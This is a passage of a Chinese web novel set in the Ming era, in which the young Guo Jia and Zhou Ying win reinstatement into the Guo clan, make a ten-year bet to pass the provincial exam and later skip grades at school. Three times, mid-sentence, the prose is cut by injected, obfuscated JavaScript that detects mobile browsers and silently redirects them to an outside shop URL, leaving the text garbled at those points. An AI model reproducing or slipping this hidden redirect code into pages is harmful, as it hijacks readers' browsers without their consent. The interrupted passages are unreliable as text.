见着两人影子逐渐消失,周盈心里不免也悬着一块石头,他总觉得……这事儿没这么顺利。 茶厅,几个郭氏的族老,年岁约莫七八十左右,穿的是锦缎织就的衣裳,桌上摆的时新水果,更有甚的,还有从南边送过来的荔枝龙眼。 而坐在正上方的,是年纪最大的,也就是整个郭氏里辈分最高的人,名曰郭勋。 众人都要称他为老祖宗。 见着坐在边上的郭元偷拿了个龙眼准备剥开吃,老祖宗郭勋皱了皱眉,手里的权杖点了点地。 一时间屋内气氛一凝。 见状的郭尧伸手一拍儿子的狗爪,直接拍掉了龙眼,眼睛一瞪,叫郭元缩了缩头,不敢再说什么。 “今天,是郭怡归宗的日子,我知道有些人,想着自己是嫡出,是长子,便借着郭氏的名头,作威作福……” “家族能繁荣昌盛,却是因着一代一代,有出息的小辈。而今,郭怡所出之子,有神童美名,如此天资,合该归入族谱,人有异乎?” 老祖宗一副老态龙钟的样子,眼皮都已经有些耷拉了,仿佛是昏昏欲睡般,可眼里头的精明,却如针扎一般,令在座所有人都绷紧了背。 见那目光扫向自己,郭尧捏紧了手,也不说话,只是低着头。 “既如此,此事便定下了。” “郭怡母子呢?到哪儿了?” “回老祖宗话,这不……刚派人去问了吗?”一侧坐着的妇人脸上挂起一抹讨好的笑。 也就这会儿功夫,一道声音随着脚步轻快响起,跑进来的仆人脸上带着喜色:“来了来了!老祖宗,来了!” 手随之一指,众人看去,便见一妇人,身着朴素,手持一孩童,正朝着门口走来。 老祖宗郭勋见状,缓缓站起身,驼着些的身子骨颤颤巍巍,仿佛一吹就倒一般。 “好,好!来了就好啊!” “老祖宗小心些。”搀扶的郭三越,此时此刻安静得跟个鹌鹑一样,低眉顺眼的,半点没有先前暴怒的凶悍样子。 足可见,这大户人家里头,依旧是规矩森严,阶层分明的。 老的压小的,长幼尊卑,亦有着一套无形规矩。 郭嘉见此,则是不着痕迹皱了皱眉,他素来不喜束缚,这才刚进门呢,就让他觉得这么不舒服了,这要是真认祖归宗,将来必少不得拿规矩压人。 得想个办法摆脱才行。 “老祖宗。”这厢,郭怡领着郭嘉行了一礼。 郭勋见状,素来严肃的脸上少有的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576279|203982||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 乐呵笑了起来,长须长眉的脸上,若非方才那锐利目光审视,怕还真是个寿星公一样的感觉人物了。 “哎,好呀,怡丫头快起来。”上前一步,那青筋盘根错节的苍老双手扶住郭怡手臂,随后轻轻抬起。 “这些年,受了委屈吧?诶……当年的事儿,我听着了,却没能马上赶回来,只叹阴差阳错了。” 屋里一群人看着,郭勋这话刚一出口,郭三越就直接乐呵一笑,脸色颇为惭愧道: “老祖宗哪里的话,这事儿,也是我做的不对。” “是我猪油蒙了心,这些年都不曾过问怡儿母子的日子,要打要罚,由老祖宗发落!” “可别,你这混账罪,我没能耐罚,要罚,还得让怡丫头来说。”郭勋闻言,吹胡子瞪眼,手抓住郭怡的手,轻轻拍了拍,似乎是颇为的欢喜。 郭怡脸上有些尴尬神色,毕竟这些年不见,她实在是有些认不得这些人物了,再说自己也不是傻的,能听不出这些话里有话的意思吗? “老祖宗说笑了,我这是带着嘉儿来认祖归宗的,怎能坏了今日的喜气?” “听听,这多稀罕人,是个乖孩子啊!”郭勋哈哈一笑,显然精气神都好了不少。 借着台阶,那双眼睛便轮到了郭嘉的身上:“这,就是嘉儿吧?几岁了?可起小名儿?我看着这个孩子机灵,才这么小年纪,就在咱们山阴县闯出这么大名堂,比你爹出息多咯!” “回老祖宗,不曾有小名呢,嘉,是他父亲起的名,至于姓……”说到这儿,郭怡顿了顿,目光闪烁间,看了众人一眼。 郭勋闻言,皱了皱眉,看了一眼低下头不语的郭三越,神情微转间,朝着母子二人,张嘴要言,却被一道声音突然打断。 “我知道,是因为当年,三叔祖不让母亲认祖归宗,还霸占着祖父田产不放,母亲没法才叫我改的母姓!” “……” “怎么了,我说的不对吗?”小郭嘉眼睛眨巴眨巴,一副完全不明白为什么大人们突然就不说话了,甚至脸上表情十分古怪。 郭三越嘴角一抽,勉强一笑道:“你说得对…” “那就是了。”小郭嘉听闻,很神气的转头跟郭勋道:“老祖宗,我听母亲和他们都称呼您为老祖宗,您是这个家最大人吗?” 年迈的郭勋闻言,手捋胡须,颔首一笑:“是极。” “那…老祖宗这些年,怎么都不管管我娘亲呢?她被这些人赶出门,日子过得好苦,如果不是郭元在私塾欺负我的事情,被人揭发,只怕我们还要继续受苦……”说到这儿,小郭嘉撇撇嘴,吸了吸鼻子。 “我知道三叔祖是看中我神童的名声,这才让我母亲进的家门。” 这话不得了,说的郭三越脸上铁青了,这死孩子……一点都不给大人留情面! 至于郭尧?他憋出硬伤了。 “你!”郭尧手死死抓住桌角,强力忍耐,一侧郭元看自己父亲面露狰狞,只咽了咽口水,不敢弄出任何动静来。 20.第 20 章 闻言的郭勋,看了一眼神情僵硬的郭三越和郭尧,心里不免对二人深有失望,本身郭氏的小辈里头,就没几个撑家的,如今又闹出这么大的动静。 欺负孤儿寡母,他们不害臊,自己还要这张老脸呢! “郭尧,此事你怎么解释?” “回老祖宗,我……”郭尧被点名儿,一时间所有人都看了过来。 “这件事,是我不对,我会好好教训元儿,让他懂得分寸礼节。”这话听起来颇为咬牙切齿。 郭嘉心里冷哼,这郭尧只怕恨不得撕了他,偏又要做出一副知错悔改的模样,当真是虚伪。 人心虚伪,其言善恶,亦不足信之。 郭勋得到了台阶下,一时间便点头道:“记得好好管教,勿要再生事端。” “是。” “如何?老祖宗帮你出气了,嘉儿还有想要什么?” 郭奉孝见此,心里表示鄙视。 这郭氏的老祖宗也是,说的话是好听,但实际的好处却是一个都没有。 四年的功夫里,若是有点儿真良心,也早该派人过来接他们了,如今非是要拖到现在,当然是因为名声坏了,拖不下去了,只能出面解决。 不过这些也无所谓,不在他们考虑范围内,郭嘉等人只要一个身份庇护而已。 这么想着,小郭嘉又道:“老祖宗,虽说我们认祖归宗了,但是周娘是我娘的妯娌,两个人相依为命多年,我又与周盈情同兄弟,如果不把他们接过来……这个亲我就不认了。” 这话一出口,果不其然的,那郭勋是皱起了眉,不过很快便又恢复最初和蔼模样。 而一侧的郭三越,瞥了一眼郭怡和郭嘉两人,不知心里在想些什么。 “此事当然可以,还有吗?” 嗯?这么好说话啊? 郭嘉眼珠子一转,转而又开口道:“那我母亲入祠归宗的事情,还有本该给我们的田产——” “郭嘉小儿,简直狂妄无礼!”一声喝响。 原先憋狠的郭尧,这会儿是真憋不住了,这小混蛋,真是刀刀扎心,刀刀见血,恬不知足,狮子大开口! 哪里喂得饱的! “啊……可是……”眼瞅着郭尧声音咬牙切齿,小郭嘉一惊,面露惶恐手从兜里掏出一张纸。 上头却正是先前私塾内,郭三越白纸黑字写的契约。 “三叔祖都答应了的,大人总不能反悔吧?” 郭三越这会儿也是额头青筋直跳了,哪里来的混世魔王! “哦?此事当真吗?三越?”郭勋皱眉侧身询问。 “……是。” 听闻此言,郭勋深叹一口气,手拄着拐杖,转身朝着椅子走去,脚步不急不缓,却看在所有人眼里。 “既如此……嘉儿如今认祖归宗,即刻起,一切待遇,都也应对照元儿。” “老祖宗!” “郭尧你有异?” 郭尧神情僵硬道:“好歹…元儿是长子,如此待遇,对元儿不公平。” “公平?” 郭勋闻言,目色渐冷,突然大喝,手杖点地,跺出几声巨响,脸色阴沉间,骤然突变让众人猝不及防。 “我就是对你们太公平!这才导致你们,欺负人家孤儿寡母!闹出这么大的事动静!” “你看看你们这些年,干了什么!郭氏都要毁在你们手里了!” “我还没死!” 这话说的太重,郭三越顿时脸色大变,猛地朝着郭勋跪下嗑了几个头,duang一声—— 那动静,听的郭嘉皱起一张脸来,他那年代,还真没这么多规矩的,第一次见着在家里头,都要对自己亲人如此阶级分明的。 还真是池浅王八多。 “老祖宗说的是,这事儿,还是要公平些才好。” “郭尧,还不跪下!” “爹!”郭尧不可置信。 “好了,这么多人看着,欺负孩子算什么本事。”郭勋皱眉,坐下身,拿起一侧杯子。 “先让周氏和她那个儿子进来吧,站在外头,倒让人家以为我们郭氏不懂礼数,怠慢人家。” 于是那仆人见状匆匆向外跑去,不多时便将等候多时的周盈二人带了进来。 这会儿郭三越依旧跪着,而那郭尧面色变化如翻书一般,整个厅内气氛都凝结如冰一般。 周盈不免心里一番思量,朝着郭嘉方向看去。 结果就见这混不吝的,朝着他wink了一下,手指偷偷比划了个ok。 “……”你在未来都学了点什么。 “周氏,你和你儿子这些年,也是过得辛苦了。 我听闻,如今你那孩儿笑的酒,都出来名了,已成了咱们山阴县的招牌了,真是让人不服不行咯。” 郭勋见着两人,脸上神色稍缓,放下杯子,呵呵一笑,哪还有之前暴怒的模样。 周瑶毕竟是商贾出身,听着这话,也十分客套的回:“哪里的话,也就是讨个生活,要不是为了把孩子拉扯大,我们几个也不至于日日操劳不是?” 这话说的……嗯,明里暗里算是戳着郭氏脊梁骨。 郭勋闻言,倒也不恼,毕竟今天就是为了来解决这档子事的,他转头看向两个孩子,一个眉清目秀,肤白如雪,灵气非凡,正是周盈。 另一个狡黠顽童,俊俏恣意,灵动剽姚,却是郭嘉。 两个孩子相貌堂堂,底子极好,足见长大后是如何风采了。 厅里人见老祖宗不说话,也就都不敢开口,沉默的一会儿功夫间,心里都掂量着老祖宗这会儿是什么心思呢。 不过很快,就听对方开口道:“我见这两个孩子,天资不凡,而今几岁了?” “四岁,过了这年就五岁了。” “哦……”郭勋点头“那也该定亲事了。” “……?” “????” 这猝不及防的一转话锋,让周盈和郭嘉两个人都没摸着头脑,随后心里猛地一跳。 不对,这话说的是什么意思呢? 是想借婚姻之事拿捏住人吗?周盈心里思忖,不免的也少有嫌恶起来。 从客观来讲,地方乡绅联姻门当户对的人家,这是再正常不过的事。 便是郭嘉那个年代,也是常有的事儿。 但周盈何许人?况他来这儿不是来体验人生的。对于这种所谓的人生大事,实在是敬谢不敏。 沾了凡间情缘,反倒还惹一身麻烦。 “这……怕是不妥吧?如今孩子年纪还小,婚姻大事怎能如此随意?” “这怎么说随意呢?能嫁咱们郭氏子弟的人家,自然也是门当户对的,于孩子们而言,这样的事儿也不是坏事啊?以后外出做官,考功名,家里头,总得有个人侍奉老母,是也不是?” “老祖宗说的极是”边上几个人随之附和。 郭嘉冷哼,瞥一眼几人,显然是不耐的有些忍不住了。 “嗯?嘉儿莫非是不愿?”郭勋见此,不易察觉的皱了皱眉。 “自然。如今功名未取,何以成家?再说…我看你们郭氏,是半点真心都不曾有!先前说好的田产、名分,是分文未见!而今反倒还要硬逼我二人接下这联姻之事,实是欺人太甚!” “郭氏莫非便是如此,欺凌孤儿寡母,为祸一方的恶绅吗?” 他这话说的跟连珠炮一样,半点没有刚开始伪装的天真无邪,那可谓是字字清晰有条理,句句扎心如钢刀,说的在场所有人都愣了片刻。 周盈心里扶额,他就知道没这么简单,诶。 “真是放肆,这小孩儿,不识抬举!”当下就有人呵斥起来。 “诶,这是为你好,进了郭氏,名分、田产,自然都有。” 这是劝慰的。 郭勋没开口说什么,亦或者是第一次觉得,竟有这么难缠的小孩儿。 “若郭氏依旧如此,我看,这亲也不认便罢!”说着,他拉着郭怡的手转身就走,擦过周盈的时候,郭嘉挤眉弄眼般的使了个眼色。 周盈心有灵犀,面色不显。 “等等。”也就跨出门口半步时,身后便传来了声音。 两人脚步微顿,却并未转身。 周盈见状,心里知道是自己该上场的时候了,稍微上前一步,在众人目光里行了一礼道:“老祖宗,既嘉弟称您老祖宗,我便也尊称您声老祖宗。早些年,我二人母亲何其艰难。叩门郭氏,无人问津,若非娘亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17580935|203982||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 急智,郭娘端是进不了门的。” “而今,我们有了名声,亦在私塾出了名儿,郭元偏又霸凌我等,这事儿传出去,想来诸位也知道是什么后果。” “我二人受伤遭难,倒也罢了,但母亲们受的罪,吃过的苦,却不应是一件认祖归宗的事情就能抵消的。” “这是两码事。” 周盈语气不急不缓,边说边思考接下来的剧情话头,他知道这群老狐狸是吃着了两个孩子考取功名,得洗清身上的罪臣眷属、商贾之子标签。 但这并不能让他们二人卑躬屈膝,事情一码一码算,账也不是一次性就能抵消的! 他伸出手,竖起一根手指:“我知道诸位也是担忧我等前程,但联姻的事,不妨换作考取功名如何?十年时间,我二人,必得举人。” 此话一出口,屋内沉寂,不多时,周盈便颔首又道:“这个赌约,诸位可满意?” “这…这怎么可能?” “黄口小儿,不知功名艰辛!” “笑话!便是当年张神童,亦不过是十六岁进举人,而今十年,可知是什么狂妄之言!” 这是说张居正,十六岁就考上了举人。 郭尧都冷笑连连,郭三越更是摇头一副不赞成的模样。 众人窸窸窣窣讨论,听手杖捶地声响,这才逐渐安静下来。 “你可知,你所言为何意?”郭勋目光闪烁,一时间整个人都微微往前倾了倾。 “自然,老祖宗既提出联姻的事,难道不正是因为,看中我二人的资质和名气,为郭氏将来做打算吗?” 周盈说着,垂眸莞尔一笑,长睫翕动间,便伸手一指郭嘉,又道:“他是郭氏的子弟,但我不是,联姻于我本无用。” 郭嘉:???咱俩是队友吗? 听到这话的郭嘉,心里简直是万马奔腾了。 不过很快,又听这家伙话锋一转:“更况乎,我二人本无心此间,便是进不了郭氏的门,也能找别的法子,无非是艰难曲折一些。” “一个神童,足以令不少人侧目,更何况是两个?” “但强逼我二人心生嫌恶罅隙,还不若将此敦促化为功名上的考核,这样一来,于双方皆是两全其美。” “小儿之言,诸位听便是,不听也罢,我说完了。” 周盈所言皆是不卑不亢,见众人一时间说不出什么话,便行了一礼,退后一步不再说什么。 而周围的郭氏族人,这会儿也都是神色诧异,这竟是一个小孩儿能说出来的话?那这小孩儿,对人性的揣测也太恐怖了些! 郭勋为什么非要提联姻这档子事?还不是为了把两个神童绑上郭氏,若非如此何必大费周章? 但若是两个神童,十年内考上举人… 这才几岁,十四岁! 这……可能吗? 郭勋也是心里对周盈此番言论也是惊愕不已。 他为什么只敢来软的?那还不是因为如今郭氏名声都臭成什么样子了!若再惹出是非,脸还要不要了? 思索再三,郭勋心道,当真是不得了,若真如此,倒还…… 他的目光反复从二人身上转移,手捋着胡须,皱紧了眉。他颇有一种感觉,这两个孩子,将来前途不可限量。 “若考不成呢?” “没有如果。当然,若真不成,那联姻之事,也算是正值年纪了,岂不更为一举两得?”周盈微笑,心里则无语。 老狐狸,真是难缠。 “嘉儿呢?” “我?我没意见,就这样吧。”郭奉孝表示给周盈点了个赞。 至于功名的事儿,对于这两个妖孽来说,并不是什么太大的问题。 学吧!往死里卷!往死了学! 他就还不信了,自己好歹也是能在史册上出名的人,一个小小科举,能难倒他? 一通话里话外的较量,就这么在一个小小赌约之间一锤定音。 出了郭氏的门,两个母亲神情复杂,对视间,都是对儿子出息的自豪和担忧。 “盈儿,十年举人……会不会太…” 周盈闻言一笑:“娘亲不用担心!如今我们能得到郭氏庇护,族中书籍典藏才是最为重要的东西。” 21.第 21 章 如今虽说印刷出版繁荣,但市场上大部分流通的还是四书五经这些经典的读书之物。 但明以来,考科举的多数出题,更不止于这些经典古籍之中,有些出题人刁钻难缠,往往会截取其中两句不同的话,拼凑在一起。 这就考验了考生的学问广博和阅读理解能力了。 不过这都是后话。 是夜,如今因两个孩子都长大了,母亲们也就专门给周盈和郭嘉弄了个小书房。 点着油灯,郭奉孝看着桌上摊开的书,实在是……看一会儿就觉没意思。 “啧,我说……白天那郭勋老小子,倒是提醒了我一句。” “嗯?”拿着一本《中庸》,皱着眉看所谓“圣人”之言的周盈,闻言侧头看去。 便见郭嘉翘着腿,靠在椅子上,上嘴唇撅着一支毛笔,神情凝重,整个人显然是开小差多时了。 “你我二人来到这儿,长大必然是脱不开成家立业的坎儿,但我们又并非此地之人,牵扯姻缘实在不妥,此为何解?” 这事儿,倒还真是不能避开的大事。 郭嘉这么一问,周盈便深思起来,合上书,披着小衣服,一副端坐姿态,颇像个小大人一般。 长睫在灯火下投下小扇子般的阴影,一扇一扇间,那奶白的脸颊如一团裹了糖心的白面团,看着就让人手痒。 他似乎是想到什么,莞尔一笑: “我倒有个法子,所谓不孝有三,无后为大。既如此,到时候不如找个天资聪颖的孩子过继就是。至于娶妻生子……这还是算了吧。” 郭嘉听闻总觉得不妥。 “听起来不错,但……怎么跟娘亲交代?怎么与郭氏的人说?更甚者,往后我们考取功名,入朝为官,又该如何解释?” “……”周盈被问到了。 他转头瞥了一眼郭嘉:“那你什么想法?总不能还真…娶妻生子吧?” 这个法子,周盈打心里就充满了抗拒,他身份本就特殊,自然是能不和凡人牵扯姻缘,就尽量不要过多纠缠。 况,这样的事,对另一人,也是不公平的事情。哪个人会骨子里乐意在家里,一辈子操劳艰辛? 总之,周盈性子就是己所不欲勿施于人的那种,便不太喜欢所谓的凡俗婚嫁。 听闻此言,郭奉孝狡黠的眉眼间透出些许灵动,他凑近了一些,轻笑一声,露出一颗小虎牙:“你看,既无法折中,倒不如做绝了。” 周盈闻言一愣,随后似乎是想歪了什么,目光转移到郭嘉脐下三寸,颇为不可置信。 “奉孝,你对自己可太狠了,虽……但不至如此吧?” “……” 不是这个意思! 郭嘉只觉自己一个激灵,打了个冷颤:“你想什么呢!我是说,倒不是你我做戏一场,先把屋子掀了,在折中开窗户就好谈了。” 咳……好吧,谁让郭嘉说的话实在是让人容易想歪呢。 周盈有些尴尬:“嗯?你有什么法子?” 凑近的郭奉孝,手撑着下巴,眨巴眨巴眼睛看着周盈,见对方目光透露疑惑,皱眉不解。 他言:“断袖。” “……” 你是不是脑子抽风了? 周盈没好气,剜了他一眼:“抱歉,在下已有中馈。” 啧……真没意思。 且说回日常,自二人归宗认亲之后,日子上那可谓是好了太多。 郭氏乡绅的身份庇护,让周盈和郭嘉立马从平头百姓的孩子,一举摇身一变,成了地主家的儿子——没有傻字版。 陈夫子之乎者也的在讲台上来回踱步,而原先坐着郭元的位置,此时此刻早已空无一人。 先前受了欺负的孩子们,这会儿都是扬眉吐气,看着周盈和郭嘉,仿佛是看着什么小英雄般。 两人俨然成孩子王! 周盈、郭嘉:呵呵……那还真是好棒棒呢。 讲台下,两个孩子偷偷嘀嘀咕咕,一副在夫子眼皮子底下,公然开小差的模样。 郭嘉曰:如今赌下十年举人,而我等却依旧学着这无聊枯燥的启蒙读物,又该如何? 周盈言:与夫子说,我们……跳级。 郭嘉眯眼一笑:正合我意。 于是下了课,二人见陈夫子走出门,对视一眼,直接起身,在众孩子茫然的目光中,跟着走出大门。 陈夫子手上拿着书籍,听到身后脚步,不免转过身,见周盈郭嘉二人,倒是惊讶:“怎么?可是方才上课,有什么地方不懂?” 郭嘉率先上前,他并没有开口,反而是恭恭敬敬行了一礼,这是真心的,毕竟除了最开始,陈夫子对二人带了些偏见以外,往后入学的时间,对方是真的做到了师者,传道受业解惑。 还连带着帮了二人解决身份上的大难题,说是一日为师终身为父,都不为过了。 “起来就是,你们二人找我,应是与郭氏之事有关吧?”陈夫子上前一步扶起郭嘉。 “夫子之恩,嘉铭记于心。” 陈夫子笑着摇头:“我观你二人天资聪颖,但那日广场辩论,所言实在惊悚,而今士林尊孔孟,荀学之言,实非正道。” “若将来进修求学,也要谨记祸从口出。荀卿之经文,有治世气象,但我等读书人,却不能违逆儒学正风。外儒内法,亦不过折中之道。” 这是提点,且赞扬了当日郭嘉的狂妄之言了。郭奉孝这会儿也有点不好意思了…原来你都知道。 看来这会儿的读书人也不都全是傻子。 话说到这里,陈夫子目光一转,落到了周盈身上:“你气韵端庄,又是兄长,于理学心学,亦颇有所得。想来如今的学习,应当对你二人来说,牛刀小用。” “这样吧……月旬,便是考核,到时候成绩优异,我便着你二人跳级,学些四书五经,接触些经馆学问。” 周盈闻言,亦是行了一礼:“夫子慧眼通识。” 陈夫子呵呵一笑,捋着胡须,目光闪烁间,看着两个孩子,心里长叹一声。 天资聪颖,是为神童。 但仅是神童,如何能在当日辩论,说的头头是道,引经据典,博学多识至此呢? 他之毕生所求,也不过是作为老师,能教出两个聪慧机灵的状元之才罢了。 是日,周盈郭嘉二人的位置就都调到了前边,陈夫子讲学的时候,两个人竟公然开小差,看的都是些别的同学看不懂的书籍。 稀奇了,素来严肃苛刻的陈夫子,见到也不曾多言,只睁一只眼闭一只眼。 学生们都觉得陈夫子变了,于是跟着一起在课堂开小差。 然后就被呵斥、罚抄、见家长,一条龙。 很快日子过去,旬考的时间到了。 其余孩子们都是基础课的考试,但周盈和郭嘉的,偏要难上不少。 不过两人做题很快,手上小毛笔不停歇,不过片刻功夫翻页,再等两炷香时间,放下笔。 当日,考试成绩出。 蒙童班两个孩子,破格跳级。 一时间,整个私塾哗然。 万历四十年,秋。 私塾内,此时落叶随风起,飘至湖面,便被石破天惊的涟漪带沉入底。 且看,一七八岁小少年,抽条的身形挺拔修长,宽袖博带,因慵懒斜倚着树,身上的程子衣便稍稍有些褶皱,他两只脚搭在假石山上。 听闻身后脚步动静,微眯的桃花眼稍稍睁开一只,俊雅眉眼透出几分狡黠。 “郭师弟?”一道声音诧异响起。 开口之人,正是最近被林夫子紧盯再三的张岱。 说来也是岁月不饶人了。这几年过去,如今张岱已是到了该考取举人功名的年纪,因而私塾内,对他这个年纪的学生,颇为看重和严厉。 连带着张岱以前的那些狐朋狗友们,都要戏言:张宗子改性子了,要认真做学问了。 这话说的…讨人嫌! 听到声音,郭嘉只伸手,将一侧放着的孩儿笑提起,提溜到张岱面前。 “张师兄,可喝一杯去?” 听郭嘉邀约,素来风流翩翩,贵公子般的张岱,这会儿是苦笑摆手:“可别,我这今日的学问都还没做完,要是等会儿夫子抽查,可有我苦头吃的。” 郭嘉闻言忍俊不禁。 二人算是,臭味相投。 毕竟一个风流贵公子,一个风流浪荡子,两个凑一窝,如浪狐一般,整日里可谓是搅弄的私塾不得安宁。 这事儿,颇让学院的夫子们头疼,一个张岱就够难缠了!再来个郭嘉! 不得了了,两个混世魔王扎堆了! 少年身姿矫健而俊美,从一侧假山一跃而起,掀起衣摆跳下。郭奉孝掸了掸衣服上的灰,微弯的桃花眼,倒真真是十足风流多情。 他哈哈一笑,修长的手隔着空气,点了点张岱言:“口是心非啊,张师兄。学问而已,你莫慌,我帮你,两个人总好过一个人赶工,怎么样?” “走不走,出去散散心?”显然这所谓的散心,并非实意。凑近几分的郭狐狸,提着酒坛提溜了一下,笑着露出两颗小虎牙。 他底子肤白而俊,颇为恣意佻窈,一身慵懒气度,却非是随便养就能养出来的。 小时候像个小混世魔王,长大了,那股子浪子劲儿长开了,便混着狡黠和机灵,很难不惹人眼。 张岱素喜美人,而有趣又聪明的美人更难得,再加上郭嘉言谈举止素无幼稚,反而有一种年少老成的恣意,大事情不含糊,小事上随性,两者便很快就交为了诤友。 不过想归想,但…… 他脸上带着些许的犹豫。毕竟自己的功课……要是夫子抽查… 一边是漂亮师弟的喝酒邀约,一边是林夫子骂骂咧咧的严肃表情。 两个小人在心里纠结,弄得张岱心里纠结万分。 就在这时,一道清越而透亮的声音,从一侧月洞门传来: “你若真帮着张师兄做了功课,等明日林夫子查出字迹不对,那可不是随意抄几篇《纵友论》能完事的。” 两人转过头,只见那门口,一修长苗条的人影站立,手中抱着一沓书。乌黑的发挽的整齐,肤白而端容,秀润如玉衡,气质润如青莲,黑眸沉寂间,透露出几分无奈看着两人。 这人却正是周盈,亦或者说,是长大了的周师弟。 见着周盈一提醒,张岱原先被勾引出来的那股子玩乐的冲动,顿时就焉了吧唧下去。 郭嘉撇嘴:“真没意思,只不过是出去喝个酒而已,至于如此?” “再说,我仿张师兄字迹,他帮我做一半,我再帮他做一半,林夫子追究起来,我二人便说‘切磋学问,互有所得’。他总是不好开口说我们,毕竟这叫鼓励同窗!” “……”这家伙哪来这么多歪理。 周盈朝着二人走来,衣带当风,浅薄的素白儒衫披着薄薄素纱,无其余颜色点缀,却更添清润绰约。 “自然是至于的,你不爱学,也不要碍着张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17589538|203982||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 师兄。现今正值师兄乡试冲刺的节骨眼儿。” “若是因玩物丧志落了榜,到时候可得唯你是问了。” 周盈从郭嘉手里接过孩儿笑,手拔掉塞子低头嗅了嗅,闻言抬眸间,那纤浓长睫却遮不住黑眸里头的戏谑和忍俊不禁。 “至于喝酒,难不成还非得偷跑出去才能喝?”他莞尔一笑间,纤长睫毛微翘的眼角略显殊色。 张岱张了张嘴,手抬起欲说些什么,然后发现周盈早就把他想说的话全都堵了回去! 真是…搞得好像他,但凡松懈一点儿,都罪大恶极一般! 不错,书院里头,周盈这个周扒皮式的大卷王。可谓是人见人流泪,花见花枯萎,生的冰清玉洁,偏性格如此腹黑难缠! 当真是……叫人恨又恨又恨不起来,学嘛……饶了他吧!刚才温习了一上午的功课呢,如今正头昏眼花的紧。 “哎!可别,我说…休息个半日也不是什么事儿,不能总当书呆子是不是?”郭嘉朝着周盈眨了眨眼。 对方一副没看见的表情。 郭嘉:…… 张岱只得颇有委屈的苦涩一笑:“哎,我还是算了,还是去努力学吧,周师弟比我小了一轮,都如此用功,如今我还是秀才身,若叫你二人追上来,我还要什么脸面?” 周盈闻言,则是一副被旁的事情吸引着了一般,仿佛是没听着。 见状的郭嘉眼里猛的精光大亮,朝着张岱使了个眼色,两人顿如心有灵犀一般,一转身悄无声息般,猛不见人了。 拿着书的周盈,无奈一笑,低头看了一眼自己手里拎着的孩儿笑,刚要转身走开。 就听见着林夫子脚步急切的朝着这个方向走来,周盈下意识猛将酒坛子往身后一藏。 看来,应当是在找张师兄的。 一番插科打诨糊弄过去,周盈提着酒回到了班里。 因着两人跳级,这会儿早已不在蒙童班,反倒是与其余师兄一起,在经馆学习科举的所有知识典籍。 念着周盈和郭嘉,与张岱等人最是熟悉,于是私塾干脆直接让两人转班到这里了。 杨业见他进来,却不见郭嘉和张岱二人,只好奇道:“宗子和郭师弟呢?等会儿去林夫子的课,他二人这会儿还不回来,等会儿林夫子点名,怕是得吃苦头了。” 将孩儿笑放在桌上的周盈,只神秘一笑:“他二人有事,暂不能来,我们得帮衬着打点掩护。” 闻言的杨业一挑眉,倒也没再说什么。 周围一群学生看这俩师兄弟神秘兮兮的,亦颇稀奇。沈越闻言是冷哼嘟囔:“只怕是逃课出去鬼混了吧。” 此时此刻,潘岳私塾一截小矮墙内,踮着脚,一个攀爬,连带着脚蹬着墙面,往上臂力一撑。 随后成功“越狱”而出的两人,皆是面露喜色。 张岱被关在私塾久了,实在是憋得慌。这会儿见着外头景色,倒颇有几分恍如隔世了。 “走啊,张师兄,站着发呆做甚呢?”见他站着,郭嘉反倒是先走了一步。 张岱见这郭师弟,比他还矮些,反倒是一副人小鬼大的模样,亦忍俊不禁。 两人走出小巷,热闹繁华的街道立马映入眼帘。糖炒栗子的香甜随风扑入鼻尖,倒是令张岱不免五脏庙翻涌起来。 他还没吃饭呢。 见张岱去买糖炒栗子,郭嘉倒也没有说什么,他朝一侧看过去,却正好看到周瑶所来的沽酒作坊,这会儿门口还排着不少人呢。 自打回了郭氏,周瑶那原本的寡妇小作坊,因背靠了大树,立刻摇身一变,成了当地有名的酒水供应商之一。 如今孩儿笑的品牌,都渐渐将名气打出了本地,连带着隔壁南直隶的一些地方,都有了孩儿笑的分店了。 这还得碍于江南水乡,水路交通发达,来往行商颇多的缘故。 因人多,便什么样的人都有,也就有了建立起一个情报网的根本条件。 郭嘉朝着一侧码头走去,见船夫这会儿正拿着斗笠遮在自己脸上,脚翘着二郎腿,一副悠哉悠哉躺在树荫下乘凉的架势。 再一看,那船舫里,正摆着一坛拆了封得孩儿笑,一碟小碗里头,酒水尚未饮尽,酒香却肆意。 “搭船得等会儿,刚晌午呢!总得先睡个午觉再说!”那船夫,听到脚步声靠近,亦是不满嘟囔着什么。 手上蒲扇缓缓动作,约莫是感觉到不对劲,这才伸手将盖在脸上的斗笠取下。 便见一少年,手撑着脸,蹲在地上,这般居高临下看着他。 船夫一个激灵,猛地坐直了身:“嗨哟,是郭家小少爷,您看我这糊涂的。” 郭嘉见此,倒是随性一笑:“别介,你躺着就是。我就是来问问,最近山阴县,可有什么特别的小道消息?” 